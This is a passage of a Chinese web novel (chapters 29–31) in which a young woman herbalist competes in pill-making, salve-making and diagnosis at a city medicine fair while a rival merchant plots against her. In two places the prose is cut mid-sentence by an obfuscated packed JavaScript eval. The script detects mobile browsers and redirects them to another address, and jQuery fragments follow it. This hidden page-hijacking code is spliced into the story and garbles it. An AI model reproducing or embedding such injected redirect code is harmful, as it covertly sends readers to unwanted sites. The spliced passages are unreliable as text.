“不累。”静尘摇头,“你明日比试要紧。我们虽不懂,但打打下手总是行的。” 许娇娇心头一暖,不再多说。 她取出小本子,翻到清热丸的方子。薄荷、连翘、金银花,加冰片和甘草。一步步来——碾粉、过筛、混合、蜜调。 静尘在一旁仔细看着,忽然道:“娇杏,这蜜调的火候,是不是很要紧?” “是。”许娇娇点头,“蜜要炼到滴水成珠,温度太高药性会损,太低又粘合不好。” “我帮你看着火候。”静尘搬了个小凳,坐在炉边。 静心则安静地分拣药材,把明日可能用到的都备好。 油灯下,三个少女各司其职。许娇娇专注地搓着药丸,静尘小心地控制火候,静心细细地挑拣药材。旺财趴在许娇娇脚边,偶尔抬起头看看,又安心地趴回去。 不知不觉,已是三更天。 窗外传来打更的梆子声。许娇娇将制好的丸药装进瓷瓶,长长舒了口气。 “成了。”她看向静尘静心,“谢谢你们。” 静尘微笑:“一家人,说什么谢。”吹熄油灯,三人各自回房。许娇娇躺在床上,望着窗外的月光,慢慢闭上了眼睛,今日,她在盛会上的表现得了行老认可。静尘和静心也在铺子里有了事做,水仙姑的迫害暂时放下,她还没有足够对抗她们的力量。 月光如水,静静流淌。远处传来打更的梆子声,一声,又一声。 29. 第29章 医药鉴别会(二) 今日,菰城的晨雾比昨日更浓些。 天光还未透亮,雾气便从太湖那边漫过来,湿漉漉地罩住了整座城。青石板路上凝着薄薄的水珠,踩上去悄没声息。街巷两侧的屋檐往下滴水,嘀嗒嘀嗒,像是谁在暗处拨着算盘。 北瓦子今日的布置与昨日不同。 中心广场那三座木台还在,可台上铺的靛蓝粗布换成了素白棉布——这是防着药材染色,好教评判看得真切。台前木牌也换了字:“丸剂”“散剂”“膏剂”“丹剂”,朱漆在晨雾里润着暗红的光。 凉棚下多摆了几张长桌,桌上陈列着铜臼、石碾、药筛、蜜钵、炭炉等一应制药器具。几个青衣学徒正在擦拭,铜器碰撞声清脆,在寂静的晨雾里传得老远。 许娇娇跟着张东家到的时候,广场上的人比昨日少些,可气氛却更凝重。 昨日晋级的三十家药商、医馆,今日都要派代表参加“验熟药”比试。有的带了自家老药师,须发皆白,眼神锐利;有的带了年轻学徒,手脚麻利,神色紧张;还有几家大药行,竟是掌柜亲自上阵。 张东家将许娇娇送到丙字台前,低声嘱咐:“莫慌,按咱们昨夜准备的来。火候把握最关键,宁可慢些,莫要心急。” 许娇娇点头,将蓝布包袱放在台边的条凳上。包袱里是她昨夜赶制的几样成药:清热丸、金疮药、安神散,还有一小罐特制的柴胡舒肝散。 辰时初刻,太医署的王太医和行老都到了。 太医署的太医坐定点头,表示开始。 周行老今日换了身深青直裰,腰系丝绦,步履沉稳。李真人和关大夫、孙大夫跟在后头,四人径直走向评判席。落座后,周行老环视台下,缓缓开口:“医药之道,生药为基,熟药为用。丸、散、膏、丹,皆需炮制得法、火候得当,方能尽其药效。”他顿了顿,声音提高,“今日比试,考的是诸位制备熟药的真功夫。每一道工序,都在我等眼中。望诸位谨记——药是救人的,半点马虎不得。” 话音落下,司仪上前,展开手中名册: “丸剂比试,第一组:丙字十七号张记生药铺、甲字三号仁心堂、乙字八号保和堂!” 许娇娇心头一跳,深吸一口气,走向丸剂台。 台上已经站了两人。仁心堂的是位五十来岁的老药师,姓赵,面皮白净,手指修长,正慢条斯理地整理着衣袖。保和堂的是个三十出头的壮实汉子,姓刘,虎口有厚茧,一看便是常年捣药的。 三人互相拱手见礼,便在各自的制药桌前站定。 司仪宣布考题:“丸剂比试,制‘六味地黄丸’。限时一个时辰,以成丸色泽、大小均匀、药性保全为评判标准。现在——开始!” 话音刚落,赵药师便动了起来。 他从带来的药箱里取出六味药材:熟地黄、山茱萸、山药、泽泻、牡丹皮、茯苓,一一称量,分毫不差。而后取铜臼,将熟地黄放入,用铜杵细细捣碎。那手法极稳,每一下力道均匀,碎屑飞溅得极少。 刘师傅则是另一番做派。他将六味药材一股脑倒入石碾,双手握住碾轮,嘿的一声,碾轮滚动起来,发出轰隆隆的闷响。药材在碾槽里碎裂、研磨,不多时便成了粗粉。 许娇娇看着两人,定了定神,也开始了。 她先将熟地黄单独取出——这是主药,需先炮制。用小刀将熟地黄切成薄片,放入铜锅中,加少许黄酒,文火慢炒。酒气蒸腾起来,带着熟地黄特有的甜香。炒至微焦时取出,晾在一旁。 而后处理其余五味药材。山茱萸去核,山药切片,泽泻、牡丹皮、茯苓各自捣碎。她做得不快,可每一步都极仔细,药材处理得干净利落。 台下,张东家紧张得手心冒汗。张东家的浑家王氏也来了,站在他身边,双手合十,嘴里念念有词。 评判席上,四位行老的目光在三人之间来回移动。 李真人拈须低语:“赵药师手法老道,不愧是仁心堂三十年的老药师。刘师傅力大势沉,碾药效率高,可未免粗糙了些。” 孙大夫点头,目光落在许娇娇身上:“那小娘子倒是特别——熟地黄单独酒炒,是为增强滋补之效。这法子医书上有载,可实际操作的却少。火候把握得也准,未炒过火。” 周行老不语,只静静看着。 半个时辰过去,三人都进入了合药阶段。 赵药师将六味药粉过细筛,按比例混合,加入炼蜜,在蜜钵中反复揉搓。那蜜是他自家特制的枣花蜜,色泽金黄,香气浓郁。揉好的药坨软硬适中,他取出一块,在掌心搓成长条,再用刀切成均匀的小段,搓成丸。 刘师傅则简单粗暴得多。药粉混合后直接加蜜,揉成团便开搓。丸药大小不一,有的如黄豆,有的如蚕豆,在案板上滚来滚去。 许娇娇的工序最繁。她将酒炒过的熟地黄单独研磨成粉,过筛三次,确保细腻;其余五味药粉也分别过筛,这才混合。蜜用的是寻常槐花蜜,可她在蜜中加了少许芝麻油——这是前世爷爷教的法子,能让丸药更润泽,不易干裂。 揉药时,她双手蘸了少许清水,这样不沾手,丸药也更光滑。搓丸时,她不用刀切,而是将药坨搓成细长条,用拇指和食指掐断,每段分量几乎一致。搓成的丸药梧桐子大小,圆润均匀,在素白棉布上排成整齐的队列。 一个时辰将尽时,司仪高喊:“停手!” 三人同时停下。赵药师面前摆着三排丸药,每排十粒,粒粒浑圆,色泽黑亮。刘师傅的丸药大小不一,散乱地堆在案上。许娇娇的丸药则小巧均匀,在晨光中泛着温润的光泽。 周行老起身,走到台前。他先看赵药师的丸药,取一粒掰开,断面细腻,药香醇厚。又取一粒放入口中,细品片刻,点头:“蜜炼得恰到好处,药性保全完好。丸药大小均匀,色泽光亮。可评甲上。” 赵药师躬身行礼,神色平静,似是意料之中。 轮到刘师傅时,周行老眉头微皱。他随意取了几粒,大小不一,有的还沾着药粉。掰开一粒,断面粗糙,蜜未完全融入。放入口中,眉头皱得更紧:“蜜炼老了,有焦苦味。丸药大小不一,药粉未完全融合。评丙中。” 刘师傅脸色一白,垂首退到一旁。 最后是许娇娇的丸药。周行老仔细看了看丸药的色泽、大小,又取一粒掰开——断面细腻均匀,药粉与蜜完全融合,无颗粒感。放入口中,先是蜜的甜润,而后药味缓缓化开,熟地黄的酒香隐约可辨。 他沉默片刻,问:“你在蜜中加了何物?” “回行老,加了一钱芝麻油。”许娇娇恭敬答道,“芝麻油性润,能让丸药更滋润,久存不干裂。” 周行老眼中闪过一丝讶异,转向李真人:“真人以为如何?” 李真人上前,也取一粒品尝,缓缓道:“熟地黄酒炒得法,去其腻性,增其滋补。芝麻油加得巧妙——六味地黄丸本为滋阴之剂,加芝麻油助其润燥,确有益处。”他顿了顿,“丸药大小均匀,色泽温润,药性保全完好。可评甲中。” 周行老点头,在名册上记下:“丙字十七号,六味地黄丸,制法新颖,药性保全,评甲中。” 台下响起一片低语。张东家和王氏喜笑颜开,这是从来没有过的,张记能品评甲中,张东家觉得自己果然慧眼识珠。 丸剂比试结束,许娇娇暂列第二,仅次于仁心堂的赵药师。 接下来的散剂比试,许娇娇抽到的是“玉屏风散”。 这是益气固表的方子,只有三味药:黄芪、白术、防风。药材简单,可要制好却不易——三味药性不同,需分别炮制,再按比例混合研磨,过筛需极细。 这回与许娇娇同台的是两家小药铺的学徒,年纪都比她大些,可手法生疏,紧张得手都在抖。 许娇娇沉心静气,先将黄芪、白术分别用麦麸炒过——麦麸炒能增强健脾益气之效。炒至微黄时取出,晾凉。防风则用清水稍浸,润透后切片,阴干。 三味药分别研磨成粉。她用的是小石臼,一下一下,力道均匀。研磨好的药粉过细筛,筛了三遍,直到粉末细腻如尘,这才混合。 混合时也有讲究。她将药粉倒在素白棉布上,提起布角,轻轻抖动,让药粉自然混合均匀。而后再过一次筛,确保无结块。 制好的玉屏风散,色泽淡黄,粉末细腻,嗅之有淡淡的药香。 评判时,周行老取少许药粉放在掌心,用指尖捻开,又凑近闻了闻,点头:“黄芪、白术麦麸炒得恰到好处,未过火。防风处理得法,未损其祛风之效。药粉细腻,混合均匀。评甲下。” 另两位学徒,一个炒焦了白术,药粉发苦;一个研磨不细,药粉粗糙,都只得了丙等。 两轮比试下来,许娇娇的成绩竟排进了前十。消息传开,在场众人议论纷纷,有对她刮目相看的、有暗自嘀咕的、有那老学究不忿,暗道一个女流之辈抛头露面成何体统。反正各种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222040|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音都有。当中有些女医,还有官媒认定的产婆,心里却十分羡慕。从没有女子在医药鉴别会上如此行事,原来女子也可以展示自己所学啊! 昨日还有些人议论她是沾了张记的光,今日却都闭了嘴。真本事摆在眼前,做不得假。 午时休憩,许娇娇坐在凉棚下喝水。王氏让丫鬟急忙买了几个肉包子回来:“娇杏,快吃些!下午还有的忙呢!” “正是,下午膏剂、丹剂的比试,可得攒足力气!”张东家兴致颇高的道。 下午的膏剂比试,许娇娇抽到的是“金黄膏”,这是外用消肿止痛的膏药。需用黄柏、大黄、黄芩等十余味药材,煎取浓汁,再加蜂蜡、香油熬制成膏。 这比丸剂、散剂难得多——火候稍过,膏药便焦苦;火候不足,又难以成膏。且需不停搅拌,是个费力的活儿。 与许娇娇同台的,是仁心堂的赵药师和另一家大药行的老药师。三人各自站在炭炉前,炉上坐着铜锅,锅里药汁翻滚,咕嘟咕嘟冒着泡。 赵药师手法娴熟,一手持铜勺缓缓搅动,一手控制炭火大小。药汁在他锅中渐渐浓稠,色泽金黄透亮,香气醇厚。 另一老药师也不逊色,虽年岁大些,可臂力仍足,搅拌得均匀有力。 许娇娇个子小,站在炉前需踮着脚。她将药汁煎至适当浓度后,加入蜂蜡。蜂蜡需慢慢融化,不能急,急了易起烟,膏药会有焦味。她一手持勺搅拌,一手用湿布垫着锅耳,不时调整炭火。 汗水从额角滑落,她也顾不上擦。膏药渐渐成型,色泽金黄,质地细腻。她取少许涂在手背上,凉意透肤,药香清雅——成了。 评判时,周行老将三人的膏药分别涂在素白棉布上,对着日光细看。赵药师的膏药色泽最亮,质地均匀;老药师的稍暗些,但也合格;许娇娇的膏药色泽温润,质地细腻,虽不如赵药师的亮,可药香更纯。 “三人皆成膏,药性保全。”周行老缓缓道,“赵药师火候把握最准,膏药色泽光亮,评甲上。许娇娇膏药质地细腻,药香纯正,评甲中。王药师膏药稍暗,评甲下。” 许娇娇松了口气——甲中,已是极好的成绩。 最后是丹剂比试。丹剂最难,需用金石类药物,炼制过程复杂,稍有差池便会失败。许娇娇从未学过,便如实向司仪说明,自愿放弃这一项。 司仪报给周行老,周行老点点头:“知之为知之,不知为不知,是知也。放弃也是明智。” 丹剂比试只有七八人参加,最终成丹的不过三人。仁心堂的赵药师炼出了一炉“紫雪丹”,丹色紫黑,隐有光泽,得了甲上,成为今日当之无愧的头名。 申时末,所有比试结束。 司仪当众宣读成绩:“丸剂、散剂、膏剂三场综合,前十名如下:第一名,甲字三号仁心堂赵药师;第二名,丙字十七号张记生药铺许娇娇;第三名,乙字五号济世堂……” 许娇娇排在第二,成功晋级明日的“议医理”比试。 张东家大喜,拉着许娇娇的手直抖:“第二!第二啊娇杏!咱们铺子从未有过这般成绩!” 许娇娇却异常平静。她看向评判席,周行老正与李真人低声交谈,不时朝她这边看上一眼。李真人含笑点头,似是嘉许。 今日的比试,让她看清了自己的斤两。制药她有些天赋,可医药之道博大精深,她要学的还太多。 从北瓦子出来,夕阳已将天边染成一片橘红。街市上人来人往,喧闹如常,可许娇娇却觉得心里格外安静。 回到生药铺,王氏已让人备好了一桌丰盛的晚饭。张东家特意开了坛珍藏的黄酒,给许娇娇也倒了一小杯:“今日值得庆贺,你也喝一口!” 许娇娇推辞不过,抿了一小口。酒液辛辣,呛得她直咳嗽,张东家和王氏都笑起来。静尘和静心在一旁陪坐,静心一脸崇拜看着许娇娇,静尘则安静些。 饭罢,许娇娇回到后院。静心打了水让许娇娇洗漱,静尘拿了针线活在灯下缝补,许娇娇坐在桌前翻看医书。 她看得入神,直到静尘喊她,她才惊觉夜深。 合上册子,她望向窗外。月色如水,洒在青石板地上,映出一片清辉。 明日是“议医理”,考的是诊断开方的真本事。这是她最弱的一环,可也是医者最根本的一环。 她不怕。 医药之道,路漫漫其修远兮。可只要一步一步走,总会走到想去的地方。 30. 第30章 医药鉴别会(三) 第三日,菰城落雨了。 雨是寅时末开始下的,起初只是细密的雨丝,悄没声息地打在瓦片上,沙沙的,像春蚕食叶。到了卯时,雨势渐大,屋檐开始往下淌水,滴在青石板上,溅起一朵朵水花。 北瓦子今日的场地挪到了棚屋里。 那是瓦子西侧一排长长的棚屋,平日里是杂耍班子堆放器械的地方,今日打扫出来,摆了二十几张方桌,每桌配四把条凳。棚屋两头挂起了防雨的油布帘子,雨打在上面,噼啪作响,反倒衬得屋里格外安静。 许娇娇跟着张东家和王氏到时,棚屋里已经坐了不少人。张东家今日特意换上了那身崭新的靛蓝直裰,王氏也穿了件体面的青灰色褙子,两人陪许娇娇在角落找了位置坐下。 “娇杏,莫紧张。”王氏轻拍许娇娇的手,“就当平日在家配药看诊。” 张东家也低声道:“昨日炮制那关过得漂亮,今日诊治考的是真功夫,你底子扎实,定能行。” 许娇娇点头,目光扫过棚内。仁心堂的赵药师坐在最前排,正闭目养神;济世堂的陈大夫慢条斯理地整理脉枕。而在另一角落,一张桌后坐着两个人格外显眼——一个五十来岁的干瘦老者,三角眼,山羊胡,眼神精明中带着倨傲;另一个三十出头,圆脸微胖,穿着绸缎长衫。 张东家顺着她的目光看去,脸色微变,压低声音:“那是庆和堂的孙大夫和钱掌柜。庆和堂是……王大官人的产业。” 许娇娇心下一凛。王大官人……水仙姑背后那人。她不动声色地收回目光,手心却微微出了汗。 钱掌柜正侧身对孙大夫耳语:“……大官人吩咐了,要留意那个叫许娇杏的丫头。水仙姑那蠢货栽在她手里,虽说是自找的,可这面子……” 孙大夫眼皮都不抬:“一个乡下丫头,能掀起什么浪?今日让她见识见识什么是真本事。” 辰时初刻,四位行老到了。太医署的王太医今日到的更早,坐在隔席与医官低语。 周行老在前,李真人和关大夫、孙大夫跟在后头。四人先与王太医见礼,而后在棚屋正前方的主位落座。 桌上已备好文房四宝与一叠素白宣纸。周行老环视屋内,缓缓开口: “医药之道,理法方药,缺一不可。识药、制药是基础,诊病、开方才是根本。”他顿了顿,雨声中声音格外清晰,“今日‘议医理’,考的是诸位诊治的真功夫。不考偏方奇术,只考常见病、多发病的诊治。望诸位以常理常法,解寻常之疾。” 说罢,朝司仪点头。 司仪手持名册上前:“第一题,请诸位诊治一例‘春温’。” 两个青衣学徒扶着一个老妇人进来。老妇人约六十上下,脸色潮红,呼吸急促,不时咳嗽。学徒扶她到主位前的椅子上坐下。 “这位是城西刘婆婆,三日前开始发热、咳嗽,自行服过姜汤,未见好转,反加重。”司仪道,“请诸位依次诊脉,写下诊断、治法、方药。限时一炷香。” 十位参试者轮流上前。 赵药师第一个,诊脉问询后回座提笔。济世堂陈大夫亦沉稳应对。 轮到许娇娇时,她定神上前。老妇人脸色潮红异常,额角有细汗,呼吸粗重。三指搭上腕脉——脉浮数有力,如按琴弦。 “婆婆,可能让我看看舌苔?”许娇娇轻声问。 刘婆婆伸舌。舌质红,苔薄黄而干。 “除了发热咳嗽,可还有头痛、身痛?” “有,有!头痛得像要裂开,浑身骨头都疼……” “夜里出汗么?” “不出汗,就是干烧。” 许娇娇心里有数了——春温,风温犯肺,卫气同病。热势已盛,津液已伤。 她回座提笔写下诊断:“春温,风温犯肺,热盛伤津。”治法:“辛凉解表,清热生津。”方药:“银翘散合白虎汤加减:金银花三钱、连翘三钱、薄荷一钱、淡竹叶二钱、生石膏五钱、知母三钱、甘草一钱、粳米一小撮。” 写罢,又在下方添了小字:“若病家贫寒,生石膏可减为三钱,加芦根五钱、天花粉三钱替代。” 这是李真人这几日教她的——开方不仅要对症,还要虑及病人实情。 棚屋外观战的张东家和王氏紧张地望着。王氏捏紧了手帕,张东家则目不转睛地盯着许娇娇的侧影。 一炷香燃尽,司仪收卷。 三位行老当场阅卷。周行老拿起赵药师的答卷,看罢点头:“诊断准确,方用银翘散合麻杏石甘汤,切中病机。评甲上。” 又看济世堂陈大夫的:“方用桑菊饮加减,轻清宣透,亦是对症。评甲中。” 轮到许娇娇的答卷时,周行老顿了顿。他仔细看了方药,又看那行小字,抬眼看向许娇娇:“你为何想到加芦根、天花粉?” 许娇娇起身恭敬答道:“生石膏虽清热力强,可价贵,且性寒易伤脾胃。芦根甘寒,清热生津而不伤正;天花粉清热润燥,价格也便宜。若病家贫寒,用这两味替代部分生石膏,既能清热,又不至负担过重。” 周行老与李真人对视一眼,李真人拈须点头:“虑及周全,仁心可嘉。方药也对症,可评甲中。” 第一轮,许娇娇得了甲中。 棚外观战的王氏松了口气,张东家脸上露出笑容。而另一角落,钱掌柜眯眼望着许娇娇,手指在桌上轻敲两下,对孙大夫低语:“这丫头……倒真有两下子。” 孙大夫冷哼一声:“取巧罢了。” 第二轮考“妇人病”。 这回进来的是个三十来岁的妇人,面色萎黄,精神不振。自述月经量少,色淡,延期不至,伴有头晕心悸、食欲不振。 许娇娇诊脉,脉象细弱无力,如按棉絮;舌质淡,苔薄白。她想起在山上时见过的类似病症,心中了然。 回座提笔写下诊断:“气血两虚,冲任不调。”治法:“益气养血,调补冲任。”方药:“八珍汤加减”,并注明:“若用不起人参,可用党参三钱替代。阿胶价贵,可用鸡血藤五钱、枸杞子三钱替代。” 关大夫阅卷后道:“八珍汤对证,加阿胶、大枣增强补血之效,思路正确。替代之法也妥当——党参虽不及人参,可补气之力仍存;鸡血藤、枸杞子补血滋肾,价廉易得。”他看向周行老,“可评甲中。” 周行老点头。 两轮下来,许娇娇稳居前三。棚屋内的议论声比昨日大了不少,那些原本没把她放在眼里的药师、郎中,此刻投来的目光已带上惊讶与审视。 钱掌柜的脸色却越来越难看。这丫头不仅真有本事,还两次在方子里特意标注廉价替代之药——这分明是做给行老看的“仁心”把戏!可偏偏行老们就吃这一套。 他凑近孙大夫,声音压得极低:“孙大夫,下一轮您可得拿出真本事。若让这丫头压过庆和堂的风头,大官人那边……” 孙大夫面皮抽动了一下,没说话。 第三轮考“小儿病”。 被抱进来的是个五六岁的男童,面色苍白,精神萎靡,不时咳嗽几声。孩子母亲说,孩子病了七八日,起初只是咳嗽,后来开始拉肚子,吃了些止泻药,可不见好,反加重。 许娇娇诊脉,发现孩子脉象细弱,指纹淡红隐隐。舌质淡,苔白腻。她轻声问孩子母亲:“孩子拉肚子,是水样的,还是糊状的?可有不消化的食物?” “水样的,哗啦哗啦的……吃什么都拉,拉的都是不消化的……” “可有呕吐?” “有,吃下去就吐。” 许娇娇心里有数了——这是小儿泄泻,脾虚湿盛。孩子本就脾胃娇嫩,又用错了药,伤了正气。 她回座提笔写下诊断:“小儿泄泻,脾虚湿盛,中气下陷。”治法:“健脾益气,化湿止泻。”方药:“参苓白术散加减:党参二钱、白术二钱、茯苓三钱、山药三钱、莲子肉二钱、扁豆二钱、砂仁五分、桔梗一钱、炙甘草五分。加煨姜一片、大枣二枚。” 写方时,她特意将砂仁只用了五分,煨姜仅一片——小儿脏腑娇嫩,分量宜轻,且砂仁辛温,用多了易伤阴。 李真人阅卷后,捻须颔首:“参苓白术散对证,加煨姜、大枣温中和胃,思虑周全。小儿脏腑娇嫩,此方分量把握得宜,尤见审慎。” 他正欲评等,一旁的孙大夫却微微皱眉:“方虽稳妥,然小儿泄泻,先贤亦有‘利小便以实大便’之法。此方偏重温补,是否稍嫌守成?依老夫看,至多评为甲等。” 周行老沉吟未语,目光却扫向许娇娇——他心中也觉此方略显中规中矩,虽无错处,却未必当得起“甲上”之誉。 李真人摇头:“不然。此证已七八日,兼见呕吐、完全不化,是脾胃之气已伤,非单纯水湿困阻。此时若再分利,恐更损中阳。温中健脾,正是治本之道。” 二人各执一词,席间低议渐起。 一直静坐观裁的王太医,此时指尖在案上轻轻一叩。声音不重,棚内却倏然一静。 他目光掠过案上那份字迹清秀的方笺,缓声开口: “小儿之病,易虚易实,传变最速。此证初起或属湿盛,然迁延多日,又经误治,病机已转为脾虚气陷——许娘子能辨此转折,未拘泥常法,是其识见。” 他略顿,见众人凝神,才续道: “更难得者,是用药之度。砂仁只用五分,煨姜仅取一片,此非怯懦,恰是深知小儿脏腑成而未全,全而未壮之特。重病轻取,如持玉杯,是医者仁心,亦是功夫。” 言至此,他抬眼看向李真人:“李大夫评甲上,允当。” 话音落下,满棚寂然。周行老神色微动,终是缓缓点头。孙大夫也敛了质疑之色,沉默不语。 甲上! 许娇娇立在原地,耳中嗡嗡作响——她没想到,那位一直沉默的太医,竟会为她开口,字字句句,皆说中了她的本心。 棚屋外,张东家激动的频频点头:“甲上!娇杏得了甲上!” 王氏眼里泛着泪光,连连点头。 而钱掌柜的脸彻底黑了。他狠狠瞪了孙大夫一眼——庆和堂只得了两个甲中一个甲下,排名第五!竟被个乡下丫头压了一头! 孙大夫面色铁青,袖中的手攥得死紧。 总成绩揭晓:仁心堂赵药师三甲上,稳居第一;许娇娇两甲中一甲上,与济世堂陈大夫并列第二。 午时休憩,雨势稍歇。 许娇娇走出棚屋,张东家和王氏立刻迎上来。王氏拉着她的手,声音发颤:“好孩子,好孩子……” 张东家则激动得语无伦次:“甲上!王太医亲口夸赞!娇杏,你这下真要扬名了!” 不远处,钱掌柜冷眼看着这一幕,转身对一个随从低语:“去,仔细查查这丫头的落脚处。她不是一个人来的,肯定有同伴。要悄无声息,别打草惊蛇。” 随从点头,悄无声息地没入人群。 同一时辰,张记生药铺。 静尘正仔细擦拭药柜,静心在院里晾晒昨日洗好的衣物。雨停了,阳光从云缝里漏下来,照得院子里积水亮晶晶的。 张记生药铺的伙计陈平急匆匆跑进来,脸上满是兴奋:“静尘姑娘,静心姑娘!你们猜怎么着?许姑娘今日得了甲上!排名第二!” 静尘手中的抹布顿了顿,眼中霎时盈满光彩。静心“啊”了一声,欢喜得脸都红了。 “真的?具体怎么回事?”静尘忙问。 陈平将听来的情形说了,尤其讲到王太医当众赞赏那段。静尘听得心潮起伏,静心则小声道:“娇杏真厉害……” “是啊。”静尘握住静心的手,“她一直很厉害。” 可欢喜之余,静尘心底却掠过一丝不安。树大招风,娇杏这般出挑,会不会惹来麻烦?她想起水仙姑那双怨毒的眼睛,想起王大官人在归平县的势力……菰城虽大,可那些人若真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222041|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有心找,未必找不到。 这念头让她心头发紧。 北瓦子这边,许娇娇正被赵药师叫住。 “许姑娘。”赵药师拱手,“方才那小儿泄泻的诊治,思路清晰,用药精当,老夫佩服。” 许娇娇忙还礼:“前辈过奖,我只是侥幸。” “不是侥幸。”赵药师正色道,“小儿病最难诊治,你用参苓白术散加煨姜、大枣,既健脾止泻,又顾护胃气,这思路非有真功夫不能为。”他顿了顿,“明日药材交易与交流,后日行会庆祝,姑娘若有暇,可来仁心堂坐坐,咱们切磋切磋。” 许娇娇应下。赵药师走后,张东家一脸与有荣焉:“仁心堂的赵药师师承贾老,贾老那是曾给太后娘娘看过病的,连太后她老人家都要赞一句医术传神。如今贾老年事已高,早就在家颐养天年,赵药师是他的关门弟子,据说于医术一道已尽得贾老真传,他今日邀你切磋……娇杏,你要好好把握机会!” 许娇娇诚恳点头。中医一道博大精深,穷其一生也难窥全貌,她自会珍惜每一个学习的机会。 她不由望向棚屋。雨又下大了,油布帘子被风吹得哗哗作响。 她想起静尘和静心。该早些回去,让她们也高兴高兴。 正想着,青衣学徒过来:“许娘子,周行老、李真人和王太医在清风茶肆二楼雅间,邀请今次参赛的各位去说话。” 许娇娇进屋时,一同比试的几位已经在了。她向诸位评委恭敬行礼问好,又与同行们一一见礼。 王太医端坐主位,目光沉静地落在她身上,自有一股不怒而威的气度。“许氏,”他开口,声音平缓却带着不容置疑的份量,“棚屋之内,汝辨小儿泄泻之证,能察病机传变,用药轻重有度,非熟读经典、临证深思者不能为。更难得审慎之心,贯穿始终。” 他稍作停顿,茶盏轻叩桌面,发出清响,棚内愈发安静。“本官见你于炮制、合药亦有巧思,不拘古法而合乎药理。一女子,能有此等悟性与定力,着实令本官侧目。” 许娇娇垂首,姿态恭谨:“微末之技,得蒙太医青眼,实属侥幸,愧不敢当。” “侥幸?”王太医微微抬眸,目光如实质般扫过在场诸人,最后回到许娇娇身上,“医药关乎人命,何来侥幸可言。你有天赋,更有仁心体恤贫者,此二者,方是根本。”他话锋一转,语气沉凝了几分,“我大越立朝以来,陛下仁德,深知百姓疾苦。陛下有旨,天下技艺,惟才是举,以惠万民。太医署奉旨督办医药事宜,于女子习医、行医之事,虽有世俗非议,然陛下圣明,颁旨倡扬,正是为了广纳贤才,不拘一格。” 他看向许娇娇,言辞愈发恳切而威严:“今日见你,可知陛下深意。女子心细,于儿科、妇科等症,常有独到之处。然既选此路,便当时时牢记,尔所承托,非止一己前程,更为陛下倡导之新风,为后来女子开一道门径。望你谨守仁心,精研医术,以汝之所学,证女子亦能悬壶济世,功在社稷。莫负皇恩,莫负己身之志。” 这番话,煌煌如钟鸣,既是极高的认可与期许,亦是将一份沉重的责任明晰道出。 许娇娇心头凛然。她后退一步,提起裙摆,端端正正行了一个大礼,声音清晰而坚定:“太医教诲,我当谨记。定当恪守医道,精进医技,不负陛下隆恩,不负太医厚望,亦不负此生所学。” 从茶肆出来,雨已停了。夕阳将湿漉漉的青石板路染成一片金黄。 许娇娇与张东家、王氏一同回铺子。路上,她隐约觉得有人跟在后面。回头看,只有几个寻常路人。 是她多心了么? 回到生药铺,静尘和静心正在前堂等候。见她们回来,静心最先跑过来:“娇杏!陈平都说了!甲上!” 静尘也走过来,眼中满是骄傲,却又藏着一丝忧虑。她握住许娇娇的手,低声道:“累了吧?锅里热着饭,快去吃点。” 晚饭时,张东家和王氏还在兴奋地说着今日的事。许娇娇默默吃饭,静尘不时看她一眼。 回到后院,静尘跟了进来,关上门。 “娇杏,”她声音很低,“今日可有什么……不寻常的事?” 许娇娇一愣:“师姐为何这么问?” 静尘犹豫了一下:“我也不知道,就是……心里有些不踏实。你今日风头太盛,我怕……” 许娇娇握住她的手:“师姐别担心。这是在菰城,众目睽睽之下,他们不敢怎么样。” “可是……” “别怕师姐,”许娇娇安慰静尘,“我如今就是要把名声先打出去,这样,他们真敢动我们,也得掂量掂量。” 静尘看着她沉稳的眼神,心中的不安稍稍缓解。是啊,娇杏已经不是那个需要她保护的小施主了。她长大了,有了自己的路,也有了保护自己的能力。 “那……你早些歇息。”静尘轻声说,“明日还有事呢。” 许娇娇点头。 夜深了,她躺在床上,却无睡意。 窗外月光如水。她翻了个身,望着帐顶。 不能退缩。越是如此,越要往前走。只有自己站得够高,根扎得够深,才能不被风雨吹倒。 她闭上眼睛。 明日是“药材交易与交流”。后日,盛会就结束了。 等结束,她要带着静尘静心,在菰城真正安顿下来。租赁个小院,开个小铺子,先安动下来,一切等强大了再说。 雨后的夜,格外清澈,也格外漫长。 而在城东一座深宅大院里,钱掌柜正垂首站在书房外。门内传来茶盏轻叩的声音,一个低沉的声音缓缓道: “许娇杏……就是那个坏了我好事的丫头?” “是,大官人。今日她在盛会上得了甲上,风头正劲。” 屋内沉默片刻,那声音再度响起,带着一丝玩味: “盯着她,别打草惊蛇。我倒要看看,她有多能耐。” 31. 第31章 中医药鉴别会(四) 三月廿一,菰城的天终于放晴了。 接连两日的阴雨把青石板路洗得发亮,晨光斜斜地照过来,石缝里积着的水洼映出湛蓝的天色。街边的药材摊子早已支棱起来,各色药材在晨光里泛着油润的光——川黄连的苦辛气、肉桂的温香气、薄荷的清凉气,混杂在一起,氤氲成一片独特的药市味道。 张记生药铺的摊位在北瓦子西北角,偏僻,不大显眼。许娇娇帮着伙计将药材一一摆开,老山参、川贝母这些贵细药材放在最里侧,柴胡、当归等常用的摆在中间,最外头是些金银花、薄荷之类的寻常草药。那些成药——清热丸、金疮药、安神散,用小瓷瓶装了,贴着红纸标签,整整齐齐码在摊子一角。 